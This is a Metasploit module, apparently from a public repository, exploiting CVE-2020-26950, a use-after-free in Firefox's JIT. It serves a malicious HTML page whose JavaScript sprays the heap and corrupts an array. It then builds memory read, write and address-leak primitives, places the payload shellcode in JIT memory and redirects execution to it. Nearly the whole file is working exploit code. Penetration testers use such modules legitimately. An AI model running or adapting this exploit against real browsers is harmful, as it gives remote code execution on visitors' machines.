457 lines
23 KiB
Ruby
457 lines
23 KiB
Ruby
##
|
||
# This module requires Metasploit: https://metasploit.com/download
|
||
# Current source: https://github.com/rapid7/metasploit-framework
|
||
##
|
||
|
||
class MetasploitModule < Msf::Exploit::Remote
|
||
Rank = ManualRanking
|
||
|
||
include Msf::Exploit::Remote::HttpServer::BrowserExploit
|
||
|
||
def initialize(info = {})
|
||
super(
|
||
update_info(
|
||
info,
|
||
'Name' => 'Firefox MCallGetProperty Write Side Effects Use After Free Exploit',
|
||
'Description' => %q{
|
||
This modules exploits CVE-2020-26950, a use after free exploit in Firefox.
|
||
The MCallGetProperty opcode can be emitted with unmet assumptions resulting
|
||
in an exploitable use-after-free condition.
|
||
|
||
This exploit uses a somewhat novel technique of spraying ArgumentsData
|
||
structures in order to construct primitives. The shellcode is forced into
|
||
executable memory via the JIT compiler, and executed by writing to the JIT
|
||
region pointer.
|
||
|
||
This exploit does not contain a sandbox escape, so firefox must be run
|
||
with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order
|
||
for the shellcode to run successfully.
|
||
|
||
This vulnerability affects Firefox < 82.0.3, Firefox ESR < 78.4.1, and
|
||
Thunderbird < 78.4.2, however only Firefox <= 79 is supported as a target.
|
||
Additional work may be needed to support other versions such as Firefox 82.0.1.
|
||
},
|
||
'License' => MSF_LICENSE,
|
||
'Author' => [
|
||
'360 ESG Vulnerability Research Institute', # discovery
|
||
'maxpl0it', # writeup and exploit
|
||
'timwr', # metasploit module
|
||
],
|
||
'References' => [
|
||
['CVE', '2020-26950'],
|
||
['URL', 'https://www.mozilla.org/en-US/security/advisories/mfsa2020-49/#CVE-2020-26950'],
|
||
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1675905'],
|
||
['URL', 'https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/'],
|
||
],
|
||
'Arch' => [ ARCH_X64 ],
|
||
'Platform' => ['linux', 'windows'],
|
||
'DefaultTarget' => 0,
|
||
'Targets' => [
|
||
[ 'Automatic', {}],
|
||
],
|
||
'Notes' => {
|
||
'Reliability' => [ REPEATABLE_SESSION ],
|
||
'SideEffects' => [ IOC_IN_LOGS ],
|
||
'Stability' => [CRASH_SAFE]
|
||
},
|
||
'DisclosureDate' => '2020-11-18'
|
||
)
|
||
)
|
||
end
|
||
|
||
def create_js_shellcode
|
||
shellcode = "AAAA\x00\x00\x00\x00" + "\x90\x90\x90\x90\x90\x90\x90\x90" + payload.encoded
|
||
if (shellcode.length % 8 > 0)
|
||
shellcode += "\x00" * (8 - shellcode.length % 8)
|
||
end
|
||
shellcode_js = ''
|
||
for chunk in 0..(shellcode.length / 8) - 1
|
||
label = (0x41 + chunk / 26).chr + (0x41 + chunk % 26).chr
|
||
shellcode_chunk = shellcode[chunk * 8..(chunk + 1) * 8]
|
||
shellcode_js += label + ' = ' + shellcode_chunk.unpack('E').first.to_s + "\n"
|
||
end
|
||
shellcode_js
|
||
end
|
||
|
||
def on_request_uri(cli, request)
|
||
print_status("Sending #{request.uri} to #{request['User-Agent']}")
|
||
shellcode_js = create_js_shellcode
|
||
jscript = <<~JS
|
||
// Triggers the vulnerability
|
||
function jitme(cons, interesting, i) {
|
||
interesting.x1 = 10; // Make sure the MSlots is saved
|
||
|
||
new cons(); // Trigger the vulnerability - Reallocates the object slots
|
||
|
||
// Allocate a large array on top of this previous slots location.
|
||
let target = [0,1,2,3,4,5,6,7,8,9,10,11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489]; // Goes on to 489 to be close to the number of properties ‘cons’ has
|
||
|
||
// Avoid Elements Copy-On-Write by pushing a value
|
||
target.push(i);
|
||
|
||
// Write the Initialized Length, Capacity, and Length to be larger than it is
|
||
// This will work when interesting == cons
|
||
interesting.x1 = 3.476677904727e-310;
|
||
interesting.x0 = 3.4766779039175e-310;
|
||
|
||
// Return the corrupted array
|
||
return target;
|
||
}
|
||
|
||
// Initialises vulnerable objects
|
||
function init() {
|
||
// arr will contain our sprayed objects
|
||
var arr = [];
|
||
|
||
// We'll create one object...
|
||
var cons = function() {};
|
||
for(j=0; j<512; j++) cons['x'+j] = j; // Add 512 properties (Large jemalloc allocation)
|
||
arr.push(cons);
|
||
|
||
// ...then duplicate it a whole bunch of times
|
||
// The number of times has two uses:
|
||
// - Heap spray - Stops any already freed objects getting in our way
|
||
// - Allows us to get the jitme function compiled
|
||
for (var i = 0; i < 20000; i++) arr.push(Object.assign(function(){}, cons));
|
||
|
||
// Return the array
|
||
return arr;
|
||
}
|
||
|
||
// Global that holds the total number of objects in our original spray array
|
||
TOTAL = 0;
|
||
|
||
// Global that holds the target argument so it can be used later
|
||
arg = 0;
|
||
|
||
evil = 0;
|
||
|
||
// setup_prim - Performs recursion to get the vulnerable arguments object
|
||
// arguments[0] - Original spray array
|
||
// arguments[1] - Recursive depth counter
|
||
// arguments[2]+ - Numbers to pad to the right reallocation size
|
||
function setup_prim() {
|
||
// Base case of our recursion
|
||
// If we have reached the end of the original spray array...
|
||
if(arguments[1] == TOTAL) {
|
||
|
||
// Delete an argument to generate the RareArgumentsData pointer
|
||
delete arguments[3];
|
||
|
||
// Read out of bounds to the next object (sprayed objects)
|
||
// Check whether the RareArgumentsData pointer is null
|
||
if(evil[511] != 0) return arguments;
|
||
|
||
// If it was null, then we return and try the next one
|
||
return 0;
|
||
}
|
||
|
||
// Get the cons value
|
||
let cons = arguments[0][arguments[1]];
|
||
|
||
// Move the pointer (could just do cons.p481 = 481, but this is more fun)
|
||
new cons();
|
||
|
||
// Recursive call
|
||
res = setup_prim(arguments[0], arguments[1]+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480 );
|
||
|
||
// If the returned value is non-zero, then we found our target ArgumentsData object, so keep returning it
|
||
if(res != 0) return res;
|
||
|
||
// Otherwise, repeat the base case (delete an argument)
|
||
delete arguments[3];
|
||
|
||
// Check if the next object has a null RareArgumentsData pointer
|
||
if(evil[511] != 0) return arguments; // Return arguments if not
|
||
|
||
// Otherwise just return 0 and try the next one
|
||
return 0;
|
||
}
|
||
|
||
// weak_read32 - Bit-by-bit read
|
||
function weak_read32(arg, addr) {
|
||
// Set the RareArgumentsData pointer to the address
|
||
evil[511] = addr;
|
||
|
||
// Used to hold the leaked data
|
||
let val = 0;
|
||
|
||
// Read it bit-by-bit for 32 bits
|
||
// Endianness is taken into account
|
||
for(let i = 32; i >= 0; i--) {
|
||
val = val << 1; // Shift
|
||
if(arg[i] == undefined) {
|
||
val = val | 1;
|
||
}
|
||
}
|
||
|
||
// Return the integer
|
||
return val;
|
||
}
|
||
|
||
// weak_read64 - Bit-by-bit read using BigUint64Array
|
||
function weak_read64(arg, addr) {
|
||
// Set the RareArgumentsData pointer to the address
|
||
evil[511] = addr;
|
||
|
||
// Used to hold the leaked data
|
||
val = new BigUint64Array(1);
|
||
val[0] = 0n;
|
||
|
||
// Read it bit-by-bit for 64 bits
|
||
for(let i = 64; i >= 0; i--) {
|
||
val[0] = val[0] << 1n;
|
||
if(arg[i] == undefined) {
|
||
val[0] = val[0] | 1n;
|
||
}
|
||
}
|
||
|
||
// Return the BigInt
|
||
return val[0];
|
||
}
|
||
|
||
// write_nan - Uses the bit-setting capability of the bitmap to create the NaN-Box
|
||
function write_nan(arg, addr) {
|
||
evil[511] = addr;
|
||
for(let i = 64 - 15; i < 64; i++) delete arg[i]; // Delete bits 49-64 to create 0xfffe pointer box
|
||
}
|
||
|
||
// write - Write a value to an address
|
||
function write(address, value) {
|
||
// Set the fake ArrayBuffer backing store address
|
||
address = dbl_to_bigint(address)
|
||
target_uint32arr[14] = parseInt(address) & 0xffffffff
|
||
target_uint32arr[15] = parseInt(address >> 32n);
|
||
|
||
// Use the fake ArrayBuffer backing store to write a value to a location
|
||
value = dbl_to_bigint(value);
|
||
fake_arrbuf[1] = parseInt(value >> 32n);
|
||
fake_arrbuf[0] = parseInt(value & 0xffffffffn);
|
||
}
|
||
|
||
// addrof - Gets the address of a given object
|
||
function addrof(arg, o) {
|
||
// Set the 5th property of the arguments object
|
||
arg[5] = o;
|
||
|
||
// Get the address of the 5th property
|
||
target = ad_location + (7n * 8n) // [len][deleted][0][1][2][3][4][5] (index 7)
|
||
|
||
// Set the fake ArrayBuffer backing store to point to this location
|
||
target_uint32arr[14] = parseInt(target) & 0xffffffff;
|
||
target_uint32arr[15] = parseInt(target >> 32n);
|
||
|
||
// Read the address of the object o
|
||
return (BigInt(fake_arrbuf[1] & 0xffff) << 32n) + BigInt(fake_arrbuf[0]);
|
||
}
|
||
|
||
// shellcode - Constant values which hold our shellcode to pop xcalc.
|
||
function shellcode(){
|
||
#{shellcode_js}
|
||
}
|
||
|
||
// helper functions
|
||
var conv_buf = new ArrayBuffer(8);
|
||
var f64_buf = new Float64Array(conv_buf);
|
||
var u64_buf = new Uint32Array(conv_buf);
|
||
|
||
function dbl_to_bigint(val) {
|
||
f64_buf[0] = val;
|
||
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
|
||
}
|
||
|
||
function bigint_to_dbl(val) {
|
||
u64_buf[0] = Number(val & 0xffffffffn);
|
||
u64_buf[1] = Number(val >> 32n);
|
||
return f64_buf[0];
|
||
}
|
||
|
||
function main() {
|
||
let i = 0;
|
||
// ensure the shellcode is in jit rwx memory
|
||
for(i = 0;i < 0x5000; i++) shellcode();
|
||
|
||
// The jitme function returns arrays. We'll save them, just in case.
|
||
let arr_saved = [];
|
||
|
||
// Get the sprayed objects
|
||
let arr = init();
|
||
|
||
// This is our target object. Choosing one of the end ones so that there is enough time for jitme to be compiled
|
||
let interesting = arr[arr.length - 10];
|
||
|
||
// Iterate over the vulnerable object array
|
||
for (i = 0; i < arr.length; i++) {
|
||
// Run the jitme function across the array
|
||
corr_arr = jitme(arr[i], interesting, i);
|
||
|
||
// Save the generated array. Never trust the garbage collector.
|
||
arr_saved[i] = corr_arr;
|
||
|
||
// Find the corrupted array
|
||
if(corr_arr.length != 491) {
|
||
// Save it for future evil
|
||
evil = corr_arr
|
||
break;
|
||
}
|
||
}
|
||
|
||
if(evil == 0) {
|
||
print("Failure: Failed to get the corrupted array");
|
||
return;
|
||
}
|
||
print("got the corrupted array " + evil.length);
|
||
|
||
TOTAL=arr.length;
|
||
arg = setup_prim(arr, i+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480);
|
||
|
||
old_rareargdat_ptr = evil[511];
|
||
print("Leaked nursery location: " + dbl_to_bigint(old_rareargdat_ptr).toString(16));
|
||
|
||
iterator = dbl_to_bigint(old_rareargdat_ptr); // Start from this value
|
||
counter = 0; // Used to prevent a while(true) situation
|
||
while(counter < 0x200) {
|
||
// Read the current address
|
||
output = weak_read32(arg, bigint_to_dbl(iterator));
|
||
|
||
// Check if it's the expected size value for our ArgumentsObject object
|
||
if(output == 0x1e10 || output == 0x1e20) {
|
||
// If it is, then read the ArgumentsData pointer
|
||
ad_location = weak_read64(arg, bigint_to_dbl(iterator + 8n));
|
||
|
||
// Get the pointer in ArgumentsData to RareArgumentsData
|
||
ptr_in_argdat = weak_read64(arg, bigint_to_dbl(ad_location + 8n));
|
||
|
||
// ad_location + 8 points to the RareArgumentsData pointer, so this should match
|
||
// We do this because after spraying arguments, there may be a few ArgumentObjects to go past
|
||
if((ad_location + 8n) == ptr_in_argdat) break;
|
||
}
|
||
// Iterate backwards
|
||
iterator = iterator - 8n;
|
||
|
||
// Increment counter
|
||
counter += 1;
|
||
}
|
||
|
||
if(counter == 0x200) {
|
||
print("Failure: Failed to get AD location");
|
||
return;
|
||
}
|
||
|
||
print("AD location: " + ad_location.toString(16));
|
||
|
||
// The target Uint32Array - A large size value to:
|
||
// - Help find the object (Not many 0x00101337 values nearby!)
|
||
// - Give enough space for 0xfffff so we can fake a Nursery Cell ((ptr & 0xfffffffffff00000) | 0xfffe8 must be set to 1 to avoid crashes)
|
||
target_uint32arr = new Uint32Array(0x101337);
|
||
|
||
// Find the Uint32Array starting from the original leaked Nursery pointer
|
||
iterator = dbl_to_bigint(old_rareargdat_ptr);
|
||
counter = 0; // Use a counter
|
||
while(counter < 0x5000) {
|
||
|
||
// Read a memory address
|
||
output = weak_read32(arg, bigint_to_dbl(iterator));
|
||
|
||
// If we have found the right size value, we have found the Uint32Array!
|
||
if(output == 0x101337) break;
|
||
|
||
// Check the next memory location
|
||
iterator = iterator + 8n;
|
||
|
||
// Increment the counter
|
||
counter += 1;
|
||
}
|
||
|
||
if(counter == 0x5000) {
|
||
print("Failure: Failed to find the Uint32Array");
|
||
return;
|
||
}
|
||
|
||
// Subtract from the size value address to get to the start of the Uint32Array
|
||
arr_buf_addr = iterator - 40n;
|
||
|
||
// Get the Array Buffer backing store
|
||
arr_buf_loc = weak_read64(arg, bigint_to_dbl(iterator + 16n));
|
||
print("AB Location: " + arr_buf_loc.toString(16));
|
||
|
||
// Create a fake ArrayBuffer through cloning
|
||
iterator = arr_buf_addr;
|
||
for(i=0;i<64;i++) {
|
||
output = weak_read32(arg, bigint_to_dbl(iterator));
|
||
target_uint32arr[i] = output;
|
||
iterator = iterator + 4n;
|
||
}
|
||
|
||
// Cell Header - Set it to Nursery to pass isNursery()
|
||
target_uint32arr[0x3fffa] = 1;
|
||
|
||
// Write an unboxed pointer to arguments[0]
|
||
evil[512] = bigint_to_dbl(arr_buf_loc);
|
||
|
||
// Make it NaN-Boxed
|
||
write_nan(arg, bigint_to_dbl(ad_location + 16n)); // Points to evil[512]/arguments[0]
|
||
|
||
// From here we have a fake UintArray in arg[0]
|
||
// Pointer can be changed using target_uint32arr[14] and target_uint32arr[15]
|
||
fake_arrbuf = arg[0];
|
||
|
||
// Get the address of the shellcode function object
|
||
shellcode_addr = addrof(arg, shellcode);
|
||
print("Function is at: " + shellcode_addr.toString(16));
|
||
|
||
// Get the jitInfo pointer in the JSFunction object
|
||
jitinfo = weak_read64(arg, bigint_to_dbl(shellcode_addr + 0x30n)); // JSFunction.u.native.extra.jitInfo_
|
||
print(" jitinfo: " + jitinfo.toString(16));
|
||
|
||
// We can then fetch the RX region from here
|
||
rx_region = weak_read64(arg, bigint_to_dbl(jitinfo));
|
||
print(" RX Region: " + rx_region.toString(16));
|
||
|
||
iterator = rx_region; // Start from the RX region
|
||
found = false
|
||
// Iterate to find the 0x41414141 value in-memory. 8 bytes after this is the start of the shellcode.
|
||
for(i = 0; i < 0x800; i++) {
|
||
data = weak_read64(arg, bigint_to_dbl(iterator));
|
||
if(data == 0x41414141n) {
|
||
iterator = iterator + 8n;
|
||
found = true;
|
||
break;
|
||
}
|
||
iterator = iterator + 8n;
|
||
}
|
||
if(!found) {
|
||
print("Failure: Failed to find the JIT start");
|
||
return;
|
||
}
|
||
|
||
// We now have a pointer to the start of the shellcode
|
||
shellcode_location = iterator;
|
||
print("Shellcode start: " + shellcode_location.toString(16));
|
||
|
||
// And can now overwrite the previous jitInfo pointer with our shellcode pointer
|
||
write(bigint_to_dbl(jitinfo), bigint_to_dbl(shellcode_location));
|
||
|
||
print("Triggering...");
|
||
shellcode(); // Triggering our shellcode is as simple as calling the function again.
|
||
}
|
||
main();
|
||
JS
|
||
|
||
jscript = add_debug_print_js(jscript)
|
||
html = %(
|
||
<html>
|
||
<script>
|
||
#{jscript}
|
||
</script>
|
||
</html>
|
||
)
|
||
send_response(cli, html, {
|
||
'Content-Type' => 'text/html',
|
||
'Cache-Control' => 'no-cache, no-store, must-revalidate',
|
||
'Pragma' => 'no-cache', 'Expires' => '0'
|
||
})
|
||
end
|
||
|
||
end
|